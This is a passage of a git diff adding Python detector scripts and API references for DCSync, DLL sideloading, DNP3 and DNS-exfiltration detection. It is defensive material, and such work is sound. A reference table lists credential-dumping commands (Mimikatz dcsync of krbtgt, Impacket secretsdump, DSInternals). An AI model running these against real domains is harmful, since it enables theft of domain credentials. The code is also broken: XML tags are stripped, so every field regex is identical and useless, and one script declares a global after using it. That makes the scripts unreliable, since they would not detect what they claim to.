DS-Replication-Get-Changes-All | +| 89e95b76-444d-4c62-991a-0facbeda640c | DS-Replication-Get-Changes-In-Filtered-Set | + +## Windows Event ID 4662 Fields + +```xml +4662 +attacker +CORP +{1131f6ad-9c07-11d1-f79f-00c04fc2dcd2} +DC=corp,DC=local +``` + +## python-evtx Usage + +```python +import Evtx.Evtx as evtx +with evtx.Evtx("Security.evtx") as log: + for record in log.records(): + xml = record.xml() + # Filter for EventID 4662 with replication GUIDs +``` + +## Splunk SPL Detection Query + +```spl +index=wineventlog EventCode=4662 +| where Properties IN ("*1131f6aa*", "*1131f6ad*", "*89e95b76*") +| where NOT match(SubjectUserName, ".*\\$$") +| stats count values(Properties) by SubjectUserName Computer +``` + +## KQL (Microsoft Sentinel) + +```kql +SecurityEvent +| where EventID == 4662 +| where Properties has "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2" +| where SubjectUserName !endswith "$" +| project TimeGenerated, SubjectUserName, Computer, Properties +``` + +## PowerShell - Audit Replication Permissions + +```powershell +$domain = (Get-ADDomain).DistinguishedName +$acl = Get-Acl "AD:\$domain" +$acl.Access | Where-Object { + $_.ObjectType -in @( + '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', + '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2' + ) +} | Select IdentityReference, ObjectType +``` + +## Attack Tools Reference + +| Tool | Command | +|------|---------| +| Mimikatz | `lsadump::dcsync /user:krbtgt /domain:corp.local` | +| Impacket | `secretsdump.py corp/admin:pass@dc-ip` | +| DSInternals | `Get-ADReplAccount -SamAccountName krbtgt` | + +## CLI Usage + +```bash +python agent.py --security-log Security.evtx --dc-accounts known_dcs.txt +python agent.py --generate-sigma +python agent.py --check-perms +``` diff --git a/skills/detecting-dcsync-attack-in-active-directory/scripts/agent.py b/skills/detecting-dcsync-attack-in-active-directory/scripts/agent.py new file mode 100644 index 00000000..e4f603c6 --- /dev/null +++ b/skills/detecting-dcsync-attack-in-active-directory/scripts/agent.py @@ -0,0 +1,177 @@ +#!/usr/bin/env python3 +"""DCSync attack detection agent for Active Directory environments. + +Parses Windows Security Event ID 4662 logs to detect non-domain-controller +accounts requesting directory replication (DCSync technique T1003.006). +""" + +import argparse +import json +import re +import sys +from datetime import datetime + +try: + import Evtx.Evtx as evtx +except ImportError: + evtx = None + +REPLICATION_GUIDS = { + "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2": "DS-Replication-Get-Changes", + "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2": "DS-Replication-Get-Changes-All", + "89e95b76-444d-4c62-991a-0facbeda640c": "DS-Replication-Get-Changes-In-Filtered-Set", +} + +KNOWN_REPLICATION_ACCOUNTS = set() + + +def load_dc_accounts(filepath): + if not filepath: + return set() + accounts = set() + with open(filepath, "r") as f: + for line in f: + line = line.strip() + if line and not line.startswith("#"): + accounts.add(line.upper()) + return accounts + + +def parse_4662_events(filepath, dc_accounts): + if evtx is None: + return {"error": "python-evtx not installed: pip install python-evtx"} + findings = [] + total_4662 = 0 + + with evtx.Evtx(filepath) as log: + for record in log.records(): + xml = record.xml() + if "4662" not in xml: + continue + total_4662 += 1 + + props = re.search(r'([^<]+)', xml) + if not props: + continue + prop_text = props.group(1).lower() + + matched_rights = [] + for guid, name in REPLICATION_GUIDS.items(): + if guid in prop_text: + matched_rights.append(name) + if not matched_rights: + continue + + subject = re.search(r'([^<]+)', xml) + domain = re.search(r'([^<]+)', xml) + logon_id = re.search(r'([^<]+)', xml) + object_name = re.search(r'([^<]+)', xml) + time_created = re.search(r'SystemTime="([^"]+)"', xml) + computer = re.search(r'([^<]+)', xml) + + subject_name = subject.group(1) if subject else "" + domain_name = domain.group(1) if domain else "" + full_account = f"{domain_name}\\{subject_name}".upper() + + if subject_name.endswith("$"): + if subject_name.upper().rstrip("$") in dc_accounts or \ + full_account.rstrip("$") in dc_accounts: + continue + + if subject_name.upper() in dc_accounts or full_account in dc_accounts: + continue + + is_machine = subject_name.endswith("$") + severity = "HIGH" if is_machine else "CRITICAL" + + findings.append({ + "event_id": 4662, + "timestamp": time_created.group(1) if time_created else "", + "subject_user": subject_name, + "subject_domain": domain_name, + "logon_id": logon_id.group(1) if logon_id else "", + "computer": computer.group(1) if computer else "", + "object_name": object_name.group(1) if object_name else "", + "replication_rights": matched_rights, + "is_machine_account": is_machine, + "severity": severity, + "mitre": "T1003.006", + "description": "Non-DC account requesting directory replication", + }) + + return {"total_4662_events": total_4662, "dcsync_detections": findings} + + +def check_replication_permissions_powershell(): + query = """ +Import-Module ActiveDirectory +$domain = (Get-ADDomain).DistinguishedName +$acl = Get-Acl "AD:\\$domain" +$repl_rights = @( + '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', + '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2' +) +$acl.Access | Where-Object { + $_.ObjectType -in $repl_rights -and + $_.AccessControlType -eq 'Allow' +} | Select-Object IdentityReference, ObjectType, AccessControlType | + ConvertTo-Json +""" + return {"powershell_query": query.strip(), + "note": "Run on a domain controller with RSAT tools"} + + +def generate_sigma_rule(): + return { + "title": "DCSync Activity - Non-DC Replication Request", + "status": "stable", + "logsource": {"product": "windows", "service": "security"}, + "detection": { + "selection": { + "EventID": 4662, + "Properties|contains": [ + "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2", + "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2", + ] + }, + "filter_dc": {"SubjectUserName|endswith": "$"}, + "condition": "selection and not filter_dc" + }, + "level": "critical", + "tags": ["attack.credential_access", "attack.t1003.006"], + } + + +def main(): + parser = argparse.ArgumentParser(description="DCSync Attack Detector") + parser.add_argument("--security-log", help="Windows Security EVTX file") + parser.add_argument("--dc-accounts", help="File with known DC account names (one per line)") + parser.add_argument("--generate-sigma", action="store_true", help="Output Sigma detection rule") + parser.add_argument("--check-perms", action="store_true", + help="Show PowerShell query for replication permissions") + args = parser.parse_args() + + results = {"timestamp": datetime.utcnow().isoformat() + "Z"} + + dc_accounts = load_dc_accounts(args.dc_accounts) + dc_accounts.update(KNOWN_REPLICATION_ACCOUNTS) + + if args.security_log: + parsed = parse_4662_events(args.security_log, dc_accounts) + if isinstance(parsed, dict) and "error" in parsed: + results["error"] = parsed["error"] + else: + results.update(parsed) + results["total_detections"] = len(parsed.get("dcsync_detections", [])) + + if args.generate_sigma: + results["sigma_rule"] = generate_sigma_rule() + + if args.check_perms: + results["permission_check"] = check_replication_permissions_powershell() + + print(json.dumps(results, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/detecting-dll-sideloading-attacks/LICENSE b/skills/detecting-dll-sideloading-attacks/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/detecting-dll-sideloading-attacks/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/detecting-dll-sideloading-attacks/references/api-reference.md b/skills/detecting-dll-sideloading-attacks/references/api-reference.md new file mode 100644 index 00000000..10b1b3a1 --- /dev/null +++ b/skills/detecting-dll-sideloading-attacks/references/api-reference.md @@ -0,0 +1,66 @@ +# API Reference: Detecting DLL Sideloading Attacks + +## Sysmon Event ID 7 (Image Loaded) + +```xml +7 +C:\Users\victim\app\signed.exe +C:\Users\victim\app\malicious.dll +false +Unavailable +SHA256=abc123... +``` + +## python-evtx Usage + +```python +import Evtx.Evtx as evtx +with evtx.Evtx("Sysmon.evtx") as log: + for record in log.records(): + xml = record.xml() + # Filter EventID 7, check Signed=false, non-standard path +``` + +## Known Sideloading Targets + +| Legitimate Executable | Vulnerable DLL | +|----------------------|----------------| +| vmwaretray.exe | vmtools.dll | +| colorcpl.exe | colorui.dll | +| consent.exe | comctl32.dll | +| bginfo.exe | version.dll | +| teams.exe | version.dll | +| winword.exe | wwlib.dll | + +## Splunk SPL Detection + +```spl +index=sysmon EventCode=7 Signed=false +| where NOT match(ImageLoaded, "(?i)(System32|SysWOW64|Program Files)") +| stats count by Image, ImageLoaded, SignatureStatus, Computer +| where count > 0 +``` + +## Sigma Rule Fields + +```yaml +logsource: + product: windows + category: image_load +detection: + selection: + EventID: 7 + Signed: "false" + filter: + ImageLoaded|startswith: + - "C:\\Windows\\System32\\" + - "C:\\Program Files\\" +``` + +## CLI Usage + +```bash +python agent.py --sysmon-log Sysmon.evtx +python agent.py --scan-dir C:\Users\victim\Downloads\app\ +python agent.py --generate-sigma +``` diff --git a/skills/detecting-dll-sideloading-attacks/scripts/agent.py b/skills/detecting-dll-sideloading-attacks/scripts/agent.py new file mode 100644 index 00000000..2cc16679 --- /dev/null +++ b/skills/detecting-dll-sideloading-attacks/scripts/agent.py @@ -0,0 +1,157 @@ +#!/usr/bin/env python3 +"""DLL sideloading detection agent using Sysmon Event ID 7 (Image Loaded) analysis. + +Detects unsigned DLLs loaded by signed executables from non-standard paths, +a common APT persistence and defense evasion technique (T1574.002). +""" + +import argparse +import json +import re +import sys +from datetime import datetime +from pathlib import Path + +try: + import Evtx.Evtx as evtx +except ImportError: + evtx = None + +KNOWN_SIDELOAD_TARGETS = { + "vmwaretray.exe": ["vmtools.dll"], + "colorcpl.exe": ["colorui.dll"], + "searchprotocolhost.exe": ["msfte.dll"], + "consent.exe": ["comctl32.dll"], + "dxcap.exe": ["d3d9.dll"], + "eventvwr.exe": ["mmc.dll"], + "msdeploy.exe": ["microsoft.web.deployment.dll"], + "bginfo.exe": ["version.dll"], + "winword.exe": ["wwlib.dll"], + "teams.exe": ["version.dll"], +} + +STANDARD_DLL_DIRS = { + r"c:\windows\system32", r"c:\windows\syswow64", + r"c:\windows\winsxs", r"c:\program files", + r"c:\program files (x86)", +} + + +def parse_sysmon_dll_loads(filepath): + if evtx is None: + return {"error": "python-evtx not installed: pip install python-evtx"} + findings = [] + with evtx.Evtx(filepath) as log: + for record in log.records(): + xml = record.xml() + if "7" not in xml: + continue + image = re.search(r'([^<]+)', xml) + loaded = re.search(r'([^<]+)', xml) + signed = re.search(r'([^<]+)', xml) + sig_status = re.search(r'([^<]+)', xml) + sha256 = re.search(r'([^<]+)', xml) + time_created = re.search(r'SystemTime="([^"]+)"', xml) + + if not image or not loaded: + continue + + image_path = image.group(1).lower() + dll_path = loaded.group(1).lower() + is_signed = signed.group(1) if signed else "unknown" + image_name = image_path.rsplit("\\", 1)[-1] + dll_name = dll_path.rsplit("\\", 1)[-1] + dll_dir = dll_path.rsplit("\\", 1)[0] if "\\" in dll_path else "" + + is_standard_dir = any(dll_dir.startswith(d) for d in STANDARD_DLL_DIRS) + is_known_target = (image_name in KNOWN_SIDELOAD_TARGETS and + dll_name in KNOWN_SIDELOAD_TARGETS[image_name]) + + if is_signed == "false" and not is_standard_dir: + severity = "CRITICAL" if is_known_target else "HIGH" + findings.append({ + "timestamp": time_created.group(1) if time_created else "", + "host_process": image_path, + "loaded_dll": dll_path, + "signed": is_signed, + "signature_status": sig_status.group(1) if sig_status else "", + "hash": sha256.group(1) if sha256 else "", + "known_sideload_target": is_known_target, + "non_standard_path": True, + "severity": severity, + "mitre": "T1574.002", + }) + return findings + + +def scan_directory_for_sideloading(directory): + findings = [] + dir_path = Path(directory) + if not dir_path.is_dir(): + return [{"error": f"Directory not found: {directory}"}] + exe_files = list(dir_path.glob("*.exe")) + dll_files = list(dir_path.glob("*.dll")) + for exe in exe_files: + exe_name = exe.name.lower() + if exe_name in KNOWN_SIDELOAD_TARGETS: + for dll in dll_files: + if dll.name.lower() in KNOWN_SIDELOAD_TARGETS[exe_name]: + findings.append({ + "exe_path": str(exe), + "dll_path": str(dll), + "dll_size_bytes": dll.stat().st_size, + "known_sideload_pair": True, + "severity": "CRITICAL", + "mitre": "T1574.002", + "description": f"Known sideloading pair: {exe.name} + {dll.name}", + }) + return findings + + +def generate_sigma_rule(): + return { + "title": "DLL Sideloading - Unsigned DLL in Non-Standard Path", + "status": "experimental", + "logsource": {"product": "windows", "category": "image_load"}, + "detection": { + "selection": {"EventID": 7, "Signed": "false"}, + "filter_standard": {"ImageLoaded|startswith": [ + "C:\\Windows\\System32\\", "C:\\Windows\\SysWOW64\\", + "C:\\Program Files\\", "C:\\Program Files (x86)\\" + ]}, + "condition": "selection and not filter_standard" + }, + "level": "high", + "tags": ["attack.defense_evasion", "attack.t1574.002"], + } + + +def main(): + parser = argparse.ArgumentParser(description="DLL Sideloading Detector") + parser.add_argument("--sysmon-log", help="Sysmon EVTX file with Event ID 7") + parser.add_argument("--scan-dir", help="Directory to scan for sideloading pairs") + parser.add_argument("--generate-sigma", action="store_true") + args = parser.parse_args() + + results = {"timestamp": datetime.utcnow().isoformat() + "Z", "findings": []} + + if args.sysmon_log: + evtx_findings = parse_sysmon_dll_loads(args.sysmon_log) + if isinstance(evtx_findings, dict) and "error" in evtx_findings: + results["error"] = evtx_findings["error"] + else: + results["findings"].extend(evtx_findings) + + if args.scan_dir: + dir_findings = scan_directory_for_sideloading(args.scan_dir) + results["findings"].extend(dir_findings) + + if args.generate_sigma: + results["sigma_rule"] = generate_sigma_rule() + + results["total_findings"] = len(results["findings"]) + print(json.dumps(results, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/detecting-dnp3-protocol-anomalies/LICENSE b/skills/detecting-dnp3-protocol-anomalies/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/detecting-dnp3-protocol-anomalies/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/detecting-dnp3-protocol-anomalies/references/api-reference.md b/skills/detecting-dnp3-protocol-anomalies/references/api-reference.md new file mode 100644 index 00000000..f21c6249 --- /dev/null +++ b/skills/detecting-dnp3-protocol-anomalies/references/api-reference.md @@ -0,0 +1,68 @@ +# API Reference: Detecting DNP3 Protocol Anomalies + +## DNP3 Function Codes + +| Code | Name | Risk Level | +|------|------|------------| +| 0x01 | READ | Normal | +| 0x02 | WRITE | Caution | +| 0x03 | SELECT | Caution | +| 0x04 | OPERATE | Critical | +| 0x05 | DIRECT_OPERATE | Critical | +| 0x0D | COLD_RESTART | Critical | +| 0x0E | WARM_RESTART | Critical | +| 0x10 | INITIALIZE_APPLICATION | Critical | +| 0x12 | STOP_APPLICATION | Critical | + +## Zeek DNP3 Log Fields + +``` +#fields ts uid id.orig_h id.orig_p id.resp_h id.resp_p fc_request fc_reply +``` + +## Zeek DNP3 Protocol Analyzer + +```bash +# Enable DNP3 analyzer in Zeek +zeek -C -r capture.pcap protocols/dnp3 + +# Output: dnp3.log with function codes, objects, IIN bits +``` + +## Suricata DNP3 Rules + +``` +alert dnp3 any any -> any 20000 (msg:"DNP3 Cold Restart"; \ + dnp3_func:cold_restart; sid:1000001; rev:1;) + +alert dnp3 any any -> any 20000 (msg:"DNP3 Direct Operate"; \ + dnp3_func:direct_operate; sid:1000002; rev:1;) +``` + +## Scapy DNP3 Parsing + +```python +from scapy.all import rdpcap +from scapy.contrib.dnp3 import DNP3 + +packets = rdpcap("dnp3_capture.pcap") +for pkt in packets: + if pkt.haslayer(DNP3): + print(pkt[DNP3].func_code) +``` + +## ICS-CERT Detection Indicators + +| Anomaly | Detection Method | +|---------|-----------------| +| Unauthorized master | Source IP not in allowed list | +| Burst traffic | >10 events/sec from single source | +| Off-hours commands | Control operations outside maintenance windows | +| Unknown function codes | Function codes not in normal baseline | + +## CLI Usage + +```bash +python agent.py --zeek-log dnp3.log +python agent.py --zeek-log dnp3.log --authorized-masters masters.txt +``` diff --git a/skills/detecting-dnp3-protocol-anomalies/scripts/agent.py b/skills/detecting-dnp3-protocol-anomalies/scripts/agent.py new file mode 100644 index 00000000..9886c18c --- /dev/null +++ b/skills/detecting-dnp3-protocol-anomalies/scripts/agent.py @@ -0,0 +1,167 @@ +#!/usr/bin/env python3 +"""DNP3 protocol anomaly detection agent for ICS/SCADA environments. + +Analyzes DNP3 network traffic captures (via Zeek or pcap) to detect +unauthorized control commands, protocol violations, and traffic anomalies. +""" + +import argparse +import json +import re +import subprocess +import sys +from collections import Counter, defaultdict +from datetime import datetime + +DNP3_FUNCTION_CODES = { + 0x01: ("READ", "normal"), 0x02: ("WRITE", "caution"), + 0x03: ("SELECT", "caution"), 0x04: ("OPERATE", "critical"), + 0x05: ("DIRECT_OPERATE", "critical"), 0x06: ("DIRECT_OPERATE_NR", "critical"), + 0x0D: ("COLD_RESTART", "critical"), 0x0E: ("WARM_RESTART", "critical"), + 0x0F: ("INITIALIZE_DATA", "critical"), 0x10: ("INITIALIZE_APPLICATION", "critical"), + 0x11: ("START_APPLICATION", "critical"), 0x12: ("STOP_APPLICATION", "critical"), + 0x14: ("ENABLE_UNSOLICITED", "caution"), 0x15: ("DISABLE_UNSOLICITED", "caution"), + 0x18: ("RECORD_CURRENT_TIME", "normal"), + 0x81: ("RESPONSE", "normal"), 0x82: ("UNSOLICITED_RESPONSE", "normal"), +} + +AUTHORIZED_MASTERS = set() +AUTHORIZED_OUTSTATIONS = set() + + +def load_authorized_hosts(filepath): + hosts = set() + if filepath: + with open(filepath, "r") as f: + for line in f: + line = line.strip() + if line and not line.startswith("#"): + hosts.add(line) + return hosts + + +def parse_zeek_dnp3_log(filepath): + events = [] + with open(filepath, "r") as f: + headers = None + for line in f: + if line.startswith("#fields"): + headers = line.strip().split("\t")[1:] + continue + if line.startswith("#"): + continue + if not headers: + continue + fields = line.strip().split("\t") + if len(fields) >= len(headers): + evt = dict(zip(headers, fields)) + events.append(evt) + return events + + +def analyze_dnp3_traffic(events, authorized_masters, authorized_outstations): + findings = [] + fc_counter = Counter() + src_dst_pairs = defaultdict(int) + critical_ops = [] + + for evt in events: + src = evt.get("id.orig_h", evt.get("src_ip", "")) + dst = evt.get("id.resp_h", evt.get("dst_ip", "")) + fc_str = evt.get("fc_request", evt.get("function_code", "")) + + try: + fc = int(fc_str, 16) if fc_str.startswith("0x") else int(fc_str) + except (ValueError, TypeError): + fc = -1 + + fc_info = DNP3_FUNCTION_CODES.get(fc, ("UNKNOWN", "caution")) + fc_counter[fc_info[0]] += 1 + src_dst_pairs[f"{src}->{dst}"] += 1 + + if authorized_masters and src not in authorized_masters: + findings.append({ + "type": "unauthorized_master", + "source": src, "destination": dst, + "function_code": fc_info[0], + "severity": "CRITICAL", + "description": f"DNP3 command from unauthorized master {src}", + }) + + if fc_info[1] == "critical": + critical_ops.append({ + "timestamp": evt.get("ts", ""), + "source": src, "destination": dst, + "function_code": fc_info[0], + "severity": "HIGH", + }) + findings.append({ + "type": "critical_control_command", + "source": src, "destination": dst, + "function_code": fc_info[0], + "severity": "HIGH", + "description": f"Critical DNP3 operation: {fc_info[0]}", + }) + + return { + "total_events": len(events), + "function_code_distribution": dict(fc_counter), + "communication_pairs": dict(src_dst_pairs), + "critical_operations": critical_ops, + "findings": findings, + } + + +def detect_protocol_anomalies(events): + anomalies = [] + burst_window = defaultdict(list) + + for evt in events: + ts = evt.get("ts", "0") + src = evt.get("id.orig_h", "") + try: + timestamp = float(ts) + except ValueError: + continue + burst_window[src].append(timestamp) + + for src, timestamps in burst_window.items(): + timestamps.sort() + for i in range(len(timestamps) - 10): + window = timestamps[i + 10] - timestamps[i] + if window < 1.0: + anomalies.append({ + "type": "burst_traffic", + "source": src, + "events_per_second": round(10 / max(window, 0.001), 1), + "severity": "HIGH", + "description": f"DNP3 traffic burst from {src}: >10 events/sec", + }) + break + return anomalies + + +def main(): + parser = argparse.ArgumentParser(description="DNP3 Protocol Anomaly Detector") + parser.add_argument("--zeek-log", required=True, help="Zeek DNP3 log file") + parser.add_argument("--authorized-masters", help="File with authorized master IPs") + parser.add_argument("--authorized-outstations", help="File with authorized outstation IPs") + args = parser.parse_args() + + masters = load_authorized_hosts(args.authorized_masters) + outstations = load_authorized_hosts(args.authorized_outstations) + events = parse_zeek_dnp3_log(args.zeek_log) + traffic_analysis = analyze_dnp3_traffic(events, masters, outstations) + anomalies = detect_protocol_anomalies(events) + + results = { + "timestamp": datetime.utcnow().isoformat() + "Z", + **traffic_analysis, + "protocol_anomalies": anomalies, + "total_findings": len(traffic_analysis["findings"]) + len(anomalies), + } + print(json.dumps(results, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/detecting-dns-exfiltration-with-dns-query-analysis/LICENSE b/skills/detecting-dns-exfiltration-with-dns-query-analysis/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/detecting-dns-exfiltration-with-dns-query-analysis/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/detecting-dns-exfiltration-with-dns-query-analysis/references/api-reference.md b/skills/detecting-dns-exfiltration-with-dns-query-analysis/references/api-reference.md new file mode 100644 index 00000000..65ae502f --- /dev/null +++ b/skills/detecting-dns-exfiltration-with-dns-query-analysis/references/api-reference.md @@ -0,0 +1,64 @@ +# API Reference: Detecting DNS Exfiltration + +## Shannon Entropy Calculation + +```python +import math +from collections import Counter + +def entropy(text): + freq = Counter(text) + length = len(text) + return -sum((c/length) * math.log2(c/length) for c in freq.values()) + +# Normal subdomain: entropy ~2.5-3.0 +# Encoded data: entropy >3.5-4.0 +``` + +## Detection Thresholds + +| Metric | Normal | Suspicious | +|--------|--------|------------| +| Subdomain entropy | < 3.0 | > 3.5 | +| Subdomain length | < 20 chars | > 40 chars | +| TXT record ratio | < 5% | > 30% | +| Queries to single domain | < 50/hr | > 100/hr | + +## Zeek dns.log Fields + +``` +#fields ts uid id.orig_h id.orig_p id.resp_h id.resp_p proto trans_id + query qclass qclass_name qtype qtype_name rcode rcode_name +``` + +## DNS Tunneling Tools + +| Tool | Protocol | Indicators | +|------|----------|------------| +| iodine | TXT/NULL/CNAME | Encoded subdomains, high volume | +| dnscat2 | TXT/CNAME | Base32/Base64 subdomains | +| dns2tcp | TXT | Long TXT responses | + +## Splunk SPL Detection + +```spl +index=dns +| eval subdomain=replace(query, "\.[^.]+\.[^.]+$", "") +| eval entropy=... +| where len(subdomain) > 40 AND query_count > 100 +| stats count by query, src_ip +``` + +## Suricata DNS Rules + +``` +alert dns any any -> any 53 (msg:"DNS Tunnel - Long Query"; \ + dns.query; content:"."; offset:50; sid:2000001;) +``` + +## CLI Usage + +```bash +python agent.py --dns-log dns.log --format zeek +python agent.py --dns-log dns.log --entropy-threshold 3.8 --length-threshold 50 +``` diff --git a/skills/detecting-dns-exfiltration-with-dns-query-analysis/scripts/agent.py b/skills/detecting-dns-exfiltration-with-dns-query-analysis/scripts/agent.py new file mode 100644 index 00000000..0f709183 --- /dev/null +++ b/skills/detecting-dns-exfiltration-with-dns-query-analysis/scripts/agent.py @@ -0,0 +1,170 @@ +#!/usr/bin/env python3 +"""DNS exfiltration detection agent using entropy analysis and query pattern anomalies. + +Analyzes DNS query logs for tunneling indicators: high entropy subdomains, +excessive query length, abnormal TXT record usage, and volume spikes. +""" + +import argparse +import json +import math +import re +import sys +from collections import Counter, defaultdict +from datetime import datetime + +KNOWN_TUNNEL_DOMAINS = { + "dnscat2", "iodine", "dns2tcp", "heyoka", "ozyman", + "tuns", "dnscapy", "dns-tunnel", +} + +TXT_THRESHOLD = 0.3 +ENTROPY_THRESHOLD = 3.5 +SUBDOMAIN_LENGTH_THRESHOLD = 40 +QUERY_RATE_THRESHOLD = 100 + + +def calculate_entropy(text): + if not text: + return 0.0 + freq = Counter(text) + length = len(text) + return -sum((count / length) * math.log2(count / length) for count in freq.values()) + + +def parse_dns_log(filepath, log_format="zeek"): + queries = [] + with open(filepath, "r") as f: + if log_format == "zeek": + headers = None + for line in f: + if line.startswith("#fields"): + headers = line.strip().split("\t")[1:] + continue + if line.startswith("#"): + continue + if not headers: + continue + fields = line.strip().split("\t") + if len(fields) >= len(headers): + record = dict(zip(headers, fields)) + queries.append({ + "timestamp": record.get("ts", ""), + "source": record.get("id.orig_h", ""), + "query": record.get("query", ""), + "qtype": record.get("qtype_name", record.get("qtype", "")), + "rcode": record.get("rcode_name", ""), + "answers": record.get("answers", ""), + }) + else: + for line in f: + parts = line.strip().split() + if len(parts) >= 3: + queries.append({ + "timestamp": parts[0], + "source": parts[1] if len(parts) > 3 else "", + "query": parts[-2] if len(parts) > 2 else parts[1], + "qtype": parts[-1] if len(parts) > 2 else "", + }) + return queries + + +def analyze_queries(queries): + findings = [] + domain_stats = defaultdict(lambda: {"count": 0, "sources": set(), + "entropies": [], "lengths": [], + "txt_count": 0, "total": 0}) + for q in queries: + query = q.get("query", "") + if not query or query == "-": + continue + parts = query.rstrip(".").split(".") + if len(parts) < 2: + continue + base_domain = ".".join(parts[-2:]) + subdomain = ".".join(parts[:-2]) + + stats = domain_stats[base_domain] + stats["count"] += 1 + stats["total"] += 1 + stats["sources"].add(q.get("source", "")) + + if subdomain: + entropy = calculate_entropy(subdomain.replace(".", "")) + stats["entropies"].append(entropy) + stats["lengths"].append(len(subdomain)) + + if entropy > ENTROPY_THRESHOLD and len(subdomain) > SUBDOMAIN_LENGTH_THRESHOLD: + findings.append({ + "type": "high_entropy_long_subdomain", + "query": query, + "subdomain": subdomain, + "entropy": round(entropy, 3), + "length": len(subdomain), + "source": q.get("source", ""), + "severity": "HIGH", + }) + + if q.get("qtype", "").upper() in ("TXT", "NULL", "CNAME"): + stats["txt_count"] += 1 + + for domain, stats in domain_stats.items(): + if stats["total"] > QUERY_RATE_THRESHOLD: + avg_entropy = (sum(stats["entropies"]) / len(stats["entropies"]) + if stats["entropies"] else 0) + avg_length = (sum(stats["lengths"]) / len(stats["lengths"]) + if stats["lengths"] else 0) + txt_ratio = stats["txt_count"] / stats["total"] + + score = 0 + if avg_entropy > ENTROPY_THRESHOLD: + score += 30 + if avg_length > 30: + score += 20 + if txt_ratio > TXT_THRESHOLD: + score += 25 + if stats["total"] > 500: + score += 25 + + if score >= 50: + findings.append({ + "type": "suspected_dns_tunnel", + "domain": domain, + "total_queries": stats["total"], + "avg_entropy": round(avg_entropy, 3), + "avg_subdomain_length": round(avg_length, 1), + "txt_ratio": round(txt_ratio, 3), + "tunnel_score": score, + "unique_sources": len(stats["sources"]), + "severity": "CRITICAL" if score >= 75 else "HIGH", + }) + + return findings + + +def main(): + parser = argparse.ArgumentParser(description="DNS Exfiltration Detector") + parser.add_argument("--dns-log", required=True, help="DNS log file (Zeek or text)") + parser.add_argument("--format", choices=["zeek", "text"], default="zeek") + parser.add_argument("--entropy-threshold", type=float, default=ENTROPY_THRESHOLD) + parser.add_argument("--length-threshold", type=int, default=SUBDOMAIN_LENGTH_THRESHOLD) + args = parser.parse_args() + + global ENTROPY_THRESHOLD, SUBDOMAIN_LENGTH_THRESHOLD + ENTROPY_THRESHOLD = args.entropy_threshold + SUBDOMAIN_LENGTH_THRESHOLD = args.length_threshold + + queries = parse_dns_log(args.dns_log, args.format) + findings = analyze_queries(queries) + + results = { + "timestamp": 